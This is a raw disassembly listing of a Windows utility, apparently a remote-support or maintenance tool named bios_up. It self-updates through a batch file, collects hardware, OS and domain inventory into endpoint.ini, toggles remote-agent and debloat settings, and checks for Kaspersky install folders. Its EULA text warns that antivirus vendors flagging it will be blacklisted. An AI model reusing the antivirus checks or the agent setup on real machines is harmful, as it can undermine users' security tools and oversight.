call fcn.00444720
pop edx
push eax
call fcn.00439bf2
mov edx, str.desktop_bios_up.lnk
push edx
call fcn.00444760
call fcn.00444850
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.004301d2
add dword [esp + 0x10], edx
call fcn.004301d2
add dword [esp + 0x1c], edx
call fcn.0042ca0c
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00432a6e
call fcn.004301d2
add dword [esp], edx
call fcn.0043a106
call fcn.004301d2
add dword [esp], edx
call fcn.00430cc0
call fcn.00444850
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00430cc0
call fcn.004301b0
mov edx, eax
call fcn.004301b0
mov ecx, eax
call fcn.00430180
je 0x405737
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00432a6e
call fcn.004301d2
add dword [esp], edx
call fcn.0043a219
call fcn.00444850
mov edx, dword [0x4a6280]
call fcn.004301b0
mov ecx, eax
call fcn.00430180
je 0x405737
jmp 0x40573e
mov eax, 1
jmp 0x405740
xor eax, eax
and eax, eax
je 0x405d68
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00439a18
call fcn.004301f0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x4057a5
jg 0x4057a1
cmp ebx, 0x1869f
jb 0x4057a5
xor eax, eax
jmp 0x4057aa
mov eax, 1
or eax, eax
je 0x4058c5
mov eax, str.eula.txt
push eax
push 1
call fcn.0043ab70
and eax, eax
je 0x4058c5
mov eax, str.Ovaj_program_slu
push eax
push 1
call fcn.0043ad20
mov eax, str.Ako_drugi_program_blokira_volju_korisnika_da_koristi_ovaj_program_isti
push eax
push 1
call fcn.0043ad20
mov eax, str.to_ne_samo_na_ovom_ra
push eax
push 1
call fcn.0043ad20
mov eax, str.Anti_virus_i_sl._programi_koji_ovaj_program_progla
push eax
push 1
call fcn.0043ad20
mov eax, str.stavljaju_u_karantenu_bez_pitanja_biti
push eax
push 1
call fcn.0043ad20
mov eax, str.Hvala_na_pa
push eax
push 1
call fcn.0043ad20
mov eax, 0x497021
push eax
push 1
call fcn.0043ad20
mov eax, str.This_program_is_used_to_support_users._Our_users_give_permission_for_the_program_to_be_installed.
push eax
push 1
call fcn.0043ad20
mov eax, str.If_another_program_blocks_the_users_will_to_use_this_program__it_will_be_deleted_immediately_
push eax
push 1
call fcn.0043ad20
mov eax, str.not_only_on_this_computer_but_on_all_user_computers._Anti_virus__etc._programs_that_declare_this
push eax
push 1
call fcn.0043ad20
mov eax, str.program_malicious__delete_it__quarantine_it_automatically_without_question_will_be_blacklisted_and
push eax
push 1
call fcn.0043ad20
mov eax, str.will_Not_be_sold_or_use_in_the_future.
push eax
push 1
call fcn.0043ad20
mov eax, str.Thank_you_For_your_attention_And_have_a_nice_day_
push eax
push 1
call fcn.0043ad20
push 1
call fcn.0043ad60
push 1
call fcn.0043a870
mov eax, 0x497021
push eax
mov eax, str._eula.txt
push eax
mov eax, str.notepad.exe
push eax
call fcn.00432511
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.00444850
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00432a6e
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043a088
call fcn.004301f0
and eax, eax
je 0x405b5a
push dword [0x4a5ee4]
mov edx, 0x497021
pop ecx
call fcn.00430180
je 0x405957
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jge 0x405957
jmp 0x40595e
mov eax, 1
jmp 0x405960
xor eax, eax
and eax, eax
je 0x4059cc
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, 0x49bbc2
push edx
call fcn.00444760
call fcn.00444850
push 8
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043ab70
call fcn.004301f0
and eax, eax
je 0x4059cc
push 8
call fcn.0043ad60
push 8
call fcn.0043a870
push 0x1f4
call fcn.0043853d
push edx
call fcn.00444720
pop edx
push eax
push 0
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.00444850
push 0
push 0
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.00444850
mov eax, 0x49ccfc
push eax
mov eax, 0x497021
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.00439bf2
mov edx, str.desktop_bios_up.lnk
push edx
call fcn.00444760
call fcn.00444850
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 4], edx
call fcn.004301d2
add dword [esp + 0x10], edx
call fcn.004301d2
add dword [esp + 0x1c], edx
call fcn.0042ca0c
call fcn.004301f0
and eax, eax
je 0x405b4b
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.00444850
mov eax, 0x497021
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.004301d2
add dword [esp + 8], edx
call fcn.00432511
call fcn.004301f0
push 0
jmp 0x42c237
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str._update.bat
push edx
call fcn.00444760
call fcn.00444850
push 8
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043ab70
call fcn.004301f0
and eax, eax
je 0x405d5e
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.copy_bios_up.exe
push edx
call fcn.00444760
mov edx, dword [0x4a6220]
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.00444850
push 8
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043ad20
call fcn.004301f0
mov eax, 0x498c45
push eax
push 8
call fcn.0043ad20
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov edx, 0x49fcd8
push edx
call fcn.00444760
mov edx, dword [0x4a6220]
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.00444850
push 8
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043ad20
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov edx, 0x497b98
push edx
call fcn.00444760
mov edx, dword [0x4a6280]
push edx
call fcn.00444760
call fcn.00444850
push 8
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043ad20
call fcn.004301f0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov edx, str.del
push edx
call fcn.00444760
mov edx, dword [0x4a6108]
push edx
call fcn.00444760
mov edx, str._update.bat
push edx
call fcn.00444760
call fcn.00444850
push 8
call fcn.004301d2
add dword [esp + 4], edx
call fcn.0043ad20
call fcn.004301f0
mov eax, str.exit
push eax
push 8
call fcn.0043ad20
push 8
call fcn.0043ad60
push 8
call fcn.0043a870
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a6108]
mov eax, 0x497021
push eax
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str._update.bat
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00432511
call fcn.004301f0
push 0
jmp 0x42c237
push dword [0x4a5a94]
push dword [0x4a5a90]
push 0
push 0
push 0
push 1
push 1
push 0x7e6
call fcn.0043c79f
cdq
pop ebx
pop edi
cmp edi, edx
jl 0x405da8
jg 0x405da4
cmp ebx, eax
jb 0x405da8
xor eax, eax
jmp 0x405dad
mov eax, 1
or eax, eax
jne 0x405dd8
push dword [0x4a5a94]
push dword [0x4a5a90]
pop ebx
pop edi
cmp ebx, 0
jne 0x405dc9
cmp edi, 0
je 0x405dcd
xor eax, eax
jmp 0x405dd2
mov eax, 1
or eax, eax
jne 0x405dd8
jmp 0x405ddf
mov eax, 1
jmp 0x405de1
xor eax, eax
and eax, eax
je 0x405e24
call fcn.0043c985
cdq
push edx
push eax
pop dword [0x4a5a90]
pop dword [0x4a5a94]
push dword [0x4a5c40]
call fcn.00432f97
and eax, eax
je 0x405e24
push dword [0x4a5a94]
push dword [0x4a5a90]
mov eax, str.LastUpdate
push eax
call fcn.00433055
call fcn.0043300a
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
call fcn.0043a0ad
call fcn.004301d2
add dword [esp], edx
call fcn.00430cc0
call fcn.00444850
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov edx, dword [0x4a6220]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, dword [0x4a6228]
push edx
call fcn.00444760
call fcn.004301d2
add dword [esp], edx
call fcn.00430cc0
call fcn.004301b0
mov edx, eax
call fcn.004301b0
mov ecx, eax
call fcn.00430180
jne 0x405ead
push dword [0x4a5c40]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xffffffff
jne 0x405ec6
cmp edi, 0xffffffff
je 0x405eca
xor eax, eax
jmp 0x405ecf
mov eax, 1
or eax, eax
je 0x406037
push dword [0x4a5c40]
call fcn.004330f3
and eax, eax
je 0x406032
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x50
jl 0x405f07
push dword [0x4a6230]
mov eax, str.InstallDesktopPack
push eax
call fcn.0043301c
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x50
jl 0x405f24
push dword [0x4a5c4c]
mov eax, str.Download_Microsoft_Office_2016
push eax
call fcn.0043301c
mov eax, str.dont_touch
push eax
call fcn.00433101
push dword [0x4a6094]
mov eax, str.SistemInfo
push eax
call fcn.00433221
push dword [0x4a6124]
mov eax, str.Bios
push eax
call fcn.00433221
push dword [0x4a5cb0]
mov eax, str.dwagent
push eax
call fcn.00433221
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x5a
jl 0x405f8a
mov eax, str.0__no__1__yes
push eax
call fcn.00433101
push dword [0x4a5b0c]
mov eax, str.InstallOPenShell
push eax
call fcn.0043301c
push dword [0x4a5a94]
push dword [0x4a5a90]
mov eax, str.LastUpdate
push eax
call fcn.00433055
mov eax, str.0__no__1__yes
push eax
call fcn.00433101
push dword [0x4a605c]
mov eax, str.RunOnceDiskInfo
push eax
call fcn.0043301c
mov eax, str.0__no__1__yes
push eax
call fcn.00433101
push dword [0x4a6214]
mov eax, str.SysMainOff
push eax
call fcn.0043301c
mov eax, str.0__no__1__yes
push eax
call fcn.00433101
push dword [0x4a5cf4]
mov eax, str.Debloat
push eax
call fcn.0043301c
mov eax, str.0__no__1__yes_2__ask
push eax
call fcn.00433101
push dword [0x4a5da4]
mov eax, str.NoAnydesk
push eax
call fcn.0043301c
mov eax, str.0__no__1__yes_2__ask
push eax
call fcn.00433101
push dword [0x4a5e4c]
mov eax, str.NoStartAll
push eax
call fcn.0043301c
call fcn.0043300a
jmp 0x4061d1
push dword [0x4a5c40]
call fcn.00432f97
and eax, eax
je 0x4061a5
push dword [0x4a6230]
mov eax, str.InstallDesktopPack
push eax
call fcn.00432fd5
mov dword [0x4a6230], eax
push dword [0x4a5c4c]
mov eax, str.Download_Microsoft_Office_2016
push eax
call fcn.00432fd5
mov dword [0x4a5c4c], eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a6094]
mov eax, str.SistemInfo
push eax
call fcn.004332a2
push 0x4a6094
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a6124]
mov eax, str.Bios
push eax
call fcn.004332a2
push 0x4a6124
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5cb0]
mov eax, str.dwagent
push eax
call fcn.004332a2
push 0x4a5cb0
call fcn.004447c0
push dword [0x4a5b0c]
mov eax, str.InstallOPenShell
push eax
call fcn.00432fd5
mov dword [0x4a5b0c], eax
push dword [0x4a5a94]
push dword [0x4a5a90]
mov eax, str.LastUpdate
push eax
call fcn.004333ba
push edx
push eax
pop dword [0x4a5a90]
pop dword [0x4a5a94]
push dword [0x4a605c]
mov eax, str.RunOnceDiskInfo
push eax
call fcn.00432fd5
mov dword [0x4a605c], eax
push dword [0x4a6214]
mov eax, str.SysMainOff
push eax
call fcn.00432fd5
mov dword [0x4a6214], eax
push dword [0x4a5cf4]
mov eax, str.Debloat
push eax
call fcn.00432fd5
mov dword [0x4a5cf4], eax
push dword [0x4a5da4]
mov eax, str.NoAnyDesk
push eax
call fcn.00432fd5
mov dword [0x4a5da4], eax
push dword [0x4a5e4c]
mov eax, str.NoStartAll
push eax
call fcn.00432fd5
mov dword [0x4a5e4c], eax
call fcn.0043300a
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x5a
jge 0x4061bb
mov dword [0x4a5b0c], 0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jge 0x4061d1
mov dword [0x4a5e4c], 0
mov edx, 0x497021
lea ecx, [0x4a6010]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5be4]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5abc]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a6174]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a61b4]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5e60]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5db8]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a6074]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5cd8]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5f18]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5f08]
call fcn.00430008
mov edx, 0x497021
lea ecx, [0x4a5d4c]
call fcn.00430008
mov edx, str.endpoint.ini
lea ecx, [0x4a5c00]
call fcn.00430008
mov edx, dword [0x4a6108]
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444760
mov edx, str.endpoint.ini
push edx
call fcn.00444760
push 0x4a5c00
call fcn.004447c0
push dword [0x4a5c00]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jl 0x4062ec
jg 0x4062e8
cmp ebx, 0x10a
jb 0x4062ec
xor eax, eax
jmp 0x4062f1
mov eax, 1
or eax, eax
jne 0x406515
push dword [0x4a5c00]
call fcn.00432f97
and eax, eax
je 0x406515
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointManufacturer
push eax
call fcn.004332a2
push 0x4a5be4
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointModel
push eax
call fcn.004332a2
push 0x4a6010
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointBiosVersion
push eax
call fcn.004332a2
push 0x4a6074
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointOSName
push eax
call fcn.004332a2
push 0x4a5abc
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointOSVersion
push eax
call fcn.004332a2
push 0x4a6174
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointOS
push eax
call fcn.004332a2
push 0x4a5f08
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointOSBuild
push eax
call fcn.004332a2
push 0x4a5d4c
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointSystemType
push eax
call fcn.004332a2
push 0x4a5db8
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointOriginalInstallDate
push eax
call fcn.004332a2
push 0x4a61b4
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointSystemBootTime
push eax
call fcn.004332a2
push 0x4a5e60
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointDomain
push eax
call fcn.004332a2
push 0x4a5cd8
call fcn.004447c0
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
mov eax, 0x497021
push eax
mov eax, str.EndpointHost
push eax
call fcn.004332a2
push 0x4a5f18
call fcn.004447c0
call fcn.0043300a
cmp dword [0x4a5ba4], 0
je 0x40662e
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.ltsc
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d80
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x4065ab
push edx
call fcn.00444720
pop edx
push eax
mov eax, str.2021
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a61d4]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d80
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x4065ab
mov eax, 1
jmp 0x4065ad
xor eax, eax
and eax, eax
je 0x40662e
push edx
call fcn.00444720
pop edx
push eax
mov eax, str._iot
push eax
push edx
call fcn.00444720
pop edx
push eax
push edx
call fcn.00444720
pop edx
push eax
push dword [0x4a5abc]
call fcn.00430cc0
call fcn.004301d2
add dword [esp], edx
call fcn.00430d80
call fcn.004301f0
mov ebx, eax
and ebx, ebx
jle 0x40662e
mov dword [0x4a5ab0], 1
mov ebx, dword [0x4a60c4]
and ebx, ebx
jne 0x40662e
push 0
push 0
push 0
push 0xd
push 1
push 0x7f0
call fcn.0043c79f
mov dword [0x4a5ff8], eax
mov dword [0x4a5fd8], 0
call fcn.004382ae
mov ebx, eax
cmp ebx, 0x6e
jl 0x406655
mov ebx, dword [0x4a5f90]
and ebx, ebx
jne 0x406655
mov eax, 1
jmp 0x406657
xor eax, eax
and eax, eax
je 0x4067b3
cmp dword [0x4a5ba4], 0
jne 0x406673
cmp dword [0x4a5ab0], 0
jne 0x406673
jmp 0x40667a
mov eax, 1
jmp 0x40667c
xor eax, eax
and eax, eax
je 0x4067b3
push 1
mov eax, str.Intel
push eax
push dword [0x4a5ce4]
call fcn.00430d20
mov ebx, eax
and ebx, ebx
jle 0x4067b3
push 1
mov eax, str.J1900
push eax
push dword [0x4a5ce4]
call fcn.00430d20
mov ebx, eax
and ebx, ebx
jg 0x4066de
push 1
mov eax, str.3865U
push eax
push dword [0x4a5ce4]
call fcn.00430d20
mov ebx, eax
and ebx, ebx
jg 0x4066de
mov eax, 1
jmp 0x4066e7
mov edx, str.C:Program_Files__x86_Kaspersky_Lab_
lea ecx, [0x4a5e0c]
call fcn.00430008
push dword [0x4a5e0c]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x4067e0
cmp edi, 0xffffffff
jne 0x4067e0
xor eax, eax
jmp 0x4067e5
mov eax, 1
or eax, eax
je 0x4067f9
mov edx, str.C:Program_FilesKaspersky_Lab_
lea ecx, [0x4a5e0c]
call fcn.00430008
push dword [0x4a5e0c]
call fcn.00439a18
push edx
push eax
pop ebx
pop edi
cmp ebx, 0xfffffffe
jne 0x406812
cmp edi, 0xffffffff
je 0x406816
xor eax, eax
jmp 0x40681b
mov eax, 1
or eax, eax
je 0x406830
mov ebx, dword [0x4a5f90]
and ebx, ebx
jne 0x406830
xor eax, eax
and eax, eax
je 0x406926
call 0x42c251
call fcn.00444700
push dword [0x4a5a70]
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess
call fcn.00432c45
call fcn.00433c49
call fcn.00434b0c
call fcn.00435579
call fcn.004386c2
call fcn.0043a80d
call fcn.0043a930
call fcn.0043b93f
call fcn.0043c78e
call fcn.0043eecb
call fcn.004404cc
call fcn.00443960
call fcn.00443d6f
call fcn.00443db9
call fcn.00442e80
ret